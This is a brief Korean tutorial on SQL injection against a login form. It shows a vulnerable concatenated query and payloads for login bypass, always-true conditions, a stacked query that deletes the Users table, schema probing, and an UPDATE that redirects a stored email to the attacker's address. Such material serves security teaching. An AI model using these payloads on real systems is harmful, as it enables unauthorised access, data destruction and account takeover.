SQL injection
SQL 인젝션 한번 보겠습니다.
한마디로 설명하면 로그인폼에 입력한 데이터가 DB로 가는데, DB로 가는 데이터 폼에 query문을 보내서, DB에 공격을 가하거나, 강제적으로 로그인을 시도하는 공격방법입니다.
자, 그러면 어떻게 하는지 봅시다.
SQL = "Select * From Users"
+ " Where UserID = '"+ UserID +"' And Password = '" + Password + "'"
이런 쿼리 문이 있다면, 주석을 통해 뒤에 것을 주석 처리할 수 있습니다.
[ 외부 입력값 ]
UserID: admin'--
Password: 아무거나
[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'admin'-- And Password = '아무거나'
(admin이라는 ID는 이미 알고 있다고 가정한다. 그리고 -- 는 MS SQL Server의 주석이다. MySQL의 경우 #을 사용해야 한다.)
또한 항상 참이 되도록 or을 이용하여 Boolean문을 구성할 수도 있습니다.
[ 외부 입력값 ]
UserID: test
Password: 1234' or '1'='1
[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'test' And Password='1234' or '1'='1'
또는 콜론(;)을 통해서 무력화시킬 수 있습니다.
[ 외부 입력값 ]
UserID: admin' ; DELETE From Users--
Password: 아무거나
[ 실행되는 쿼리문 ]
Select * From Users Where UserID = 'admin' ; DELETE From Users -- And Password='아무거나'
table, attribute를 찾아야 할 때 x’ AND attribute is null;# 을 통해서 attribute을 확인하고
x’ AND 1=(SELECT COUNT(*) FROM table);# 를 통해서 table명도 알아낼 수 있습니다.
아래와 같이 최종 쿼리를 정합니다.
x’; UPDATE table SET emailaddress = ‘본인email’ WHERE attribute=’기존email’;#
-- 참고